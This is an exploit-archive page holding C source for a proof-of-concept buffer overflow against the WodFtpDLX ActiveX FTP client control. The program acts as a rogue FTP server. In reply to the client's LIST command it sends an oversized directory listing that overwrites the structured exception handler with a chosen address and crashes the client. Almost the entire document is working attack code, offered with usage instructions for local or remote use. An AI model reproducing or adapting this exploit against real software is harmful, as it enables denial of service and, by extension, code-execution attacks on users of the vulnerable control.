exploits , vulnerabilities , articles , WeOnlyDo! COM Ftp DELUXE ActiveX Control Overflow Exploit

/*******************************************************************************

WodFtpDLX Client ActiveX Control Buffer Overflow Crash Exploit
created by Komrade
e-mail:	unsecure(at)altervista(dot)org
web:	http://unsecure.altervista.org

Tested on WodFtpDLX.ocx versions 2.3.2.90 - 2.3.0.0 - 2.2.0.1
on a Windows XP Professional sp2 operating system.

This exploit creates a fake FTP server on your machine, waiting for the
connection of an application that uses the WodFtpDLX.ocx ActiveX Control.
After the exploit is sent the application will crash, trying to access
to a bad memory address: 0xDEADCODE.
This exploit can be executed locally or remotely.

Usage: wodftpcrash [-l] [-r server IP]

Options:
 -l		executed locally
 -r serverIP	executed remotely. You need to specify the address
 		of the FTP server for the PASV command (Insert your IP address)

Examples:

C:\> wodftpcrash -l		<- executed locally
C:\> wodftpCrash -r 10.0.0.1	<- executed remotely

********************************************************************************/

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>

#define FTP_PORT 21
#define PASV_PORT 1106

int wait = TRUE;

DWORD WINAPI fileList(LPVOID data);

int main(int argc,char **argv){

	SOCKET sock, client;
	struct sockaddr_in sock_addr,client_addr;
	WSADATA data;
	WORD p;
	char mess[4096], received[512], addr[32];
	int lun, n, i, err;
	HANDLE fileListH;
	DWORD fileListId, exitCode;

	printf("------------------------------------------------------------------------------\r\n");
	printf("WodFtpDLX Client ActiveX Control Buffer Overflow Crash
Exploit\r\n");
	printf("\t\t\tcreated by Komrade\r\n\r\n");

	printf("\t\te-mail: unsecure(at)altervista(dot)org\r\n");
	printf("\t\tweb: http://unsecure.altervista.org\r\n");
	printf("------------------------------------------------------------------------------\r\n\r\n");

if (((argc != 2) || (strcmp(argv[1], "-l") != 0)) && ((argc !=
3) || (strcmp(argv[1], "-r") != 0))){
		printf("Usage: WodFtpCrash [-l] [-r server IP]\r\n\r\n");
		printf("Options:\r\n");
	 	printf(" -l\t\texecuted locally.\r\n");
	printf(" -r server IP\texecuted remotely. You need to specify the
address of the\r\n");
		printf("\t\tFTP server for the PASV command (Insert your IP
address)\r\n");
		printf("\r\nExamples:\r\n");
		printf(" wodftpcrash -l\t\t\texecuted locally\r\n");
		printf(" wodftpCrash -r 10.0.0.1\texecuted remotely\r\n");
		return 0;
	}

 	if(strcmp(argv[1], "-r") == 0){
		char *token[4];

		token[0]=strtok(argv[2], ".");
		for(i = 1; i < 4; i++){
			token[i]=strtok(NULL, ".");
		}

		strcpy(addr, "\0");

		for(i=0; (i < 4) && (token[i]!= NULL); i++){
			strlcat(addr, token[i], 16);
			strcat(addr, ",");
		}
	}
	else
		strcpy(addr, "127,0,0,1,");

	p = MAKEWORD(2, 0);
	WSAStartup(p, &data);

	sock=socket(PF_INET,SOCK_STREAM,0);
	sock_addr.sin_family=PF_INET;
	sock_addr.sin_port=htons(FTP_PORT);
	sock_addr.sin_addr.s_addr=INADDR_ANY;

 err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct
sockaddr_in));
	if (err < 0){
		printf("Error in bind(). Port may be in use\r\n");
		return -1;
	}
	err = listen(sock,1);
	if (err < 0){
		printf("Error in listen()\r\n");
		return -1;
	}

	lun = sizeof (struct sockaddr);

	printf("Opening the FTP port and waiting for
connections...\r\n");
	client = accept(sock, (struct sockaddr*)&client_addr, &lun);
	printf("Client connected from IP: %s\r\n\r\n",
inet_ntoa(client_addr.sin_addr));

	strcpy(mess, "220 WodFtpDlx ActiveX Control Crash
Exploit\r\n");
	n=send(client, mess, strlen(mess), 0);
	if (n < 0){
		printf("Error in send()\r\n");
		return -1;
	}

	while(wait == TRUE){

		Sleep(800);
		n = recv(client, received, sizeof(mess), 0);
		if (n < 0){
			printf("Error in recv()\r\n");
			return -1;
		}

		received[n]=0;
		printf("CLIENT: %s", received);

		if (stricmp("USER", strtok(received, " ")) == 0)
		strcpy(mess, "331 Anonymous access allowed, send
password.\r\n");
		else if (stricmp("PASS", strtok(received, " ")) ==
0)
			strcpy(mess, "230 Anonymous user logged in.\r\n");
		else if (stricmp("PWD\r\n", received) == 0)
			strcpy(mess, "257 \"/\" is current
directory.\r\n");
		else if (stricmp("CWD", strtok(received, " ")) ==
0)
			strcpy(mess, "257 \"/\" is current
directory.\r\n");
		else if (stricmp("TYPE", strtok(received, " ")) ==
0)
			strcpy(mess, "200 Type set to A.\r\n");
		else if (stricmp("PASV\r\n", received) == 0){
			fileListH = CreateThread(NULL, 0, fileList, NULL, 0, &fileListId);
			if (fileListH == NULL)
				printf("Error in CreateThread() %d", GetLastError());
			wsprintf(mess, "227 Entering Passive Mode (%s4,82).\r\n",
addr);
		}
else if (stricmp("LIST", strtok(received, " ")) == 0
|| stricmp("LIST\r\n", received) == 0){
	strcpy(mess, "125 Data connection already open; Transfer
starting.\r\n");
			printf("SERVER: %s\r\n", mess);
			n=send(client, mess, strlen(mess), 0);
			if (n < 0){
				printf("Error in send()\r\n");
				return -1;
			}
			wait = FALSE;

			do{
				GetExitCodeThread(fileListH, &exitCode);
				Sleep(100);
			}
			while(exitCode == STILL_ACTIVE);
			printf("< Long file name sent to client >\r\n\r\n");

			strcpy(mess, "226 Transfer complete.\r\n");
		}
		else
			strcpy(mess, "550 Unimplemented\r\n");

		printf("SERVER: %s\r\n", mess);
		n = send(client, mess, strlen(mess), 0);
		if (n < 0){
				printf("Error in send()\r\n");
				return -1;
		}
	}

	printf("Wait.......");
	Sleep(2000);
	printf("Exploit succesfully sent!\r\n");

 closesocket (client);
	closesocket(sock);

	WSACleanup();
	return 0;
}

DWORD WINAPI fileList(LPVOID data){

	char SEHAddr[] = "\xDE\xC0\xAD\xDE"; //this will be the new SEH
address

	SOCKET sock, client, list;
	struct sockaddr_in sock_addr,client_addr;

	WSADATA wData;
	WORD p;
	char mess[4096];
	int lun, n, i, err;

	p = MAKEWORD(2, 0);
	WSAStartup(p, &wData);

	sock=socket(PF_INET,SOCK_STREAM,0);
	sock_addr.sin_family=PF_INET;
	sock_addr.sin_port=htons(PASV_PORT);
	sock_addr.sin_addr.s_addr=INADDR_ANY;
 err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct
sockaddr_in));
	if (err < 0){
		printf("Error in bind(). Port may be in use\r\n");
		return -1;
	}
	err = listen(sock,1);
 	if (err < 0){
 		printf("Error in listen().\r\n");
 		return -1;
 	}
	lun = sizeof (struct sockaddr);

	client = accept(sock, (struct sockaddr*)&client_addr, &lun);

	while (wait == TRUE)
		Sleep(100);

	strcpy(mess, "03-04-81 12:00PM 3 ");

	for(i=strlen(mess); i<1083; i++)
		mess[i]='a';
	mess[i]='\0';

	strcat(mess, SEHAddr);

	for(i=strlen(mess); i<1300; i++) // cause the exception
		mess[i]='b';
	mess[i]='\0';

	strcat(mess, "\r\n");

	n = send(client, mess, strlen(mess), 0);
	if (n < 0){
		printf("Error in send()\r\n");
		return -1;
	}

	closesocket(sock);
	closesocket(client);
	WSACleanup();

	return 0;
}


securitydot.net - 2004-11-22